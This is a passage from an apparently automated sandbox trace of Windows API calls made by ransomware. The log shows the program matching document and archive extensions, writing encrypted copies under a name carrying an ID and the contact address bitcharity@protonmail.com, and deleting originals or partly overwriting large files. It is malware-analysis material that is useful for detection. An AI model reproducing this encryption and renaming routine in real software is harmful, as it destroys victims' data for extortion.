(lpString=".1cd") returned 4 [0136.522] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.523] lstrlenW (lpString=".jpg") returned 4 [0136.523] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.523] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.523] lstrlenW (lpString="Rotate7.ico") returned 11 [0136.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0136.523] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=894) returned 1 [0136.523] CloseHandle (hObject=0x10c4) returned 1 [0136.523] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0136.523] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0136.524] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.524] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.524] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0136.524] GetLastError () returned 0x0 [0136.524] ReadFile (in: hFile=0x10c4, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x37e, lpOverlapped=0x0) returned 1 [0136.620] WriteFile (in: hFile=0x10c8, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x380, lpOverlapped=0x0) returned 1 [0136.621] ReadFile (in: hFile=0x10c4, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.621] WriteFile (in: hFile=0x10c8, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.621] SetEndOfFile (hFile=0x10c8) returned 1 [0136.759] CloseHandle (hObject=0x10c8) returned 1 [0136.760] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.760] SetEndOfFile (hFile=0x10c4) returned 1 [0136.761] CloseHandle (hObject=0x10c4) returned 1 [0136.761] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.761] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0136.762] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.762] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.762] lstrlenW (lpString=".doc") returned 4 [0136.762] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.762] lstrlenW (lpString=".docx") returned 5 [0136.762] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0136.762] lstrlenW (lpString=".pdf") returned 4 [0136.762] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.762] lstrlenW (lpString=".xls") returned 4 [0136.762] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.762] lstrlenW (lpString=".xlsx") returned 5 [0136.762] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0136.762] lstrlenW (lpString=".ppt") returned 4 [0136.762] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.762] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.762] lstrlenW (lpString=".zip") returned 4 [0136.762] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.762] lstrlenW (lpString=".rar") returned 4 [0136.762] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.762] lstrlenW (lpString=".bz2") returned 4 [0136.762] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.763] lstrlenW (lpString=".7z") returned 3 [0136.763] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.763] lstrlenW (lpString=".dbf") returned 4 [0136.763] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.763] lstrlenW (lpString=".1cd") returned 4 [0136.763] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.763] lstrlenW (lpString=".jpg") returned 4 [0136.763] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.763] lstrlenW (lpString=".doc") returned 4 [0136.763] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.763] lstrlenW (lpString=".docx") returned 5 [0136.763] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0136.763] lstrlenW (lpString=".pdf") returned 4 [0136.763] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.763] lstrlenW (lpString=".xls") returned 4 [0136.763] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.763] lstrlenW (lpString=".xlsx") returned 5 [0136.763] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0136.763] lstrlenW (lpString=".ppt") returned 4 [0136.763] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.764] lstrlenW (lpString=".zip") returned 4 [0136.764] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.764] lstrlenW (lpString=".rar") returned 4 [0136.764] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.764] lstrlenW (lpString=".bz2") returned 4 [0136.764] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.764] lstrlenW (lpString=".7z") returned 3 [0136.764] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.764] lstrlenW (lpString=".dbf") returned 4 [0136.764] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.764] lstrlenW (lpString=".1cd") returned 4 [0136.764] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0136.764] lstrlenW (lpString=".jpg") returned 4 [0136.764] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.764] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.764] lstrlenW (lpString="SysReqMet.ico") returned 13 [0136.764] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0136.765] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1150) returned 1 [0136.765] CloseHandle (hObject=0x10c4) returned 1 [0136.765] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0136.765] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.765] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0136.765] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.765] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.765] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0136.766] GetLastError () returned 0x0 [0136.766] ReadFile (in: hFile=0x10c4, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x47e, lpOverlapped=0x0) returned 1 [0137.039] WriteFile (in: hFile=0x10c8, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x480, lpOverlapped=0x0) returned 1 [0137.040] ReadFile (in: hFile=0x10c4, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.040] WriteFile (in: hFile=0x10c8, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0xee, lpOverlapped=0x0) returned 1 [0137.040] SetEndOfFile (hFile=0x10c8) returned 1 [0137.040] CloseHandle (hObject=0x10c8) returned 1 [0137.045] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.045] SetEndOfFile (hFile=0x10c4) returned 1 [0137.046] CloseHandle (hObject=0x10c4) returned 1 [0137.046] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.048] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0137.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.048] lstrlenW (lpString=".doc") returned 4 [0137.048] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0137.048] lstrlenW (lpString=".docx") returned 5 [0137.048] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0137.048] lstrlenW (lpString=".pdf") returned 4 [0137.048] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0137.048] lstrlenW (lpString=".xls") returned 4 [0137.049] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0137.049] lstrlenW (lpString=".xlsx") returned 5 [0137.049] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0137.049] lstrlenW (lpString=".ppt") returned 4 [0137.049] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0137.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.049] lstrlenW (lpString=".zip") returned 4 [0137.049] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0137.049] lstrlenW (lpString=".rar") returned 4 [0137.049] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0137.049] lstrlenW (lpString=".bz2") returned 4 [0137.049] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0137.049] lstrlenW (lpString=".7z") returned 3 [0137.049] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0137.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.049] lstrlenW (lpString=".dbf") returned 4 [0137.049] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0137.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.049] lstrlenW (lpString=".1cd") returned 4 [0137.049] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0137.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.049] lstrlenW (lpString=".jpg") returned 4 [0137.049] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0137.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.049] lstrlenW (lpString=".doc") returned 4 [0137.049] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0137.049] lstrlenW (lpString=".docx") returned 5 [0137.049] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0137.050] lstrlenW (lpString=".pdf") returned 4 [0137.050] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0137.050] lstrlenW (lpString=".xls") returned 4 [0137.050] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0137.050] lstrlenW (lpString=".xlsx") returned 5 [0137.050] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0137.050] lstrlenW (lpString=".ppt") returned 4 [0137.050] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0137.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.050] lstrlenW (lpString=".zip") returned 4 [0137.050] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0137.050] lstrlenW (lpString=".rar") returned 4 [0137.050] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0137.050] lstrlenW (lpString=".bz2") returned 4 [0137.050] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0137.050] lstrlenW (lpString=".7z") returned 3 [0137.050] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0137.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.050] lstrlenW (lpString=".dbf") returned 4 [0137.050] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0137.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.050] lstrlenW (lpString=".1cd") returned 4 [0137.050] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0137.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0137.050] lstrlenW (lpString=".jpg") returned 4 [0137.050] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0137.051] lstrcmpiW (lpString1=".mzz", lpString2=".com") returned 1 [0137.051] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0137.051] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0137.072] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=43131591) returned 1 [0137.072] CloseHandle (hObject=0x1038) returned 1 [0137.072] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0137.072] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.076] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0137.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0137.097] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0x0) returned 1 [0137.097] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0137.097] ReadFile (in: hFile=0x10a4, lpBuffer=0x37be058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x37be058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0137.647] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0137.647] ReadFile (in: hFile=0x10a4, lpBuffer=0x37fe058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x37fe058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0137.870] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.870] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0137.870] ReadFile (in: hFile=0x10a4, lpBuffer=0x383e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x383e058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0137.897] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.897] WriteFile (in: hFile=0x10a4, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2c0fca8, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0151.095] SetEndOfFile (hFile=0x10a4) returned 1 [0151.095] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3e340d8 [0151.095] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0151.095] WriteFile (in: hFile=0x10a4, lpBuffer=0x3e340d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e340d8*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.096] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0151.096] WriteFile (in: hFile=0x10a4, lpBuffer=0x3e340d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e340d8*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.097] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0151.097] WriteFile (in: hFile=0x10a4, lpBuffer=0x3e340d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e340d8*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.099] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e340d8 | out: hHeap=0x5a0000) returned 1 [0151.862] CloseHandle (hObject=0x10a4) returned 1 [0155.986] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.986] lstrlenW (lpString=".doc") returned 4 [0155.986] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0155.987] lstrlenW (lpString=".docx") returned 5 [0155.987] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0155.987] lstrlenW (lpString=".pdf") returned 4 [0155.987] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0155.987] lstrlenW (lpString=".xls") returned 4 [0155.987] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0155.987] lstrlenW (lpString=".xlsx") returned 5 [0155.987] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0155.987] lstrlenW (lpString=".ppt") returned 4 [0155.987] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0155.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.987] lstrlenW (lpString=".zip") returned 4 [0155.987] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0155.987] lstrlenW (lpString=".rar") returned 4 [0155.987] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0155.987] lstrlenW (lpString=".bz2") returned 4 [0155.987] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0155.987] lstrlenW (lpString=".7z") returned 3 [0155.987] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0155.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.987] lstrlenW (lpString=".dbf") returned 4 [0155.987] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0155.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.987] lstrlenW (lpString=".1cd") returned 4 [0155.987] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0155.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.987] lstrlenW (lpString=".jpg") returned 4 [0155.987] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0155.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.987] lstrlenW (lpString=".doc") returned 4 [0155.988] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0155.988] lstrlenW (lpString=".docx") returned 5 [0155.988] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0155.988] lstrlenW (lpString=".pdf") returned 4 [0155.988] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0155.988] lstrlenW (lpString=".xls") returned 4 [0155.988] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0155.988] lstrlenW (lpString=".xlsx") returned 5 [0155.988] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0155.988] lstrlenW (lpString=".ppt") returned 4 [0155.988] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0155.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.988] lstrlenW (lpString=".zip") returned 4 [0155.988] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0155.988] lstrlenW (lpString=".rar") returned 4 [0155.988] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0155.988] lstrlenW (lpString=".bz2") returned 4 [0155.988] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0155.988] lstrlenW (lpString=".7z") returned 3 [0155.988] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0155.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.988] lstrlenW (lpString=".dbf") returned 4 [0155.988] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0155.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.988] lstrlenW (lpString=".1cd") returned 4 [0155.988] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0155.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0155.988] lstrlenW (lpString=".jpg") returned 4 [0155.988] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0155.989] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0155.989] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0155.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft 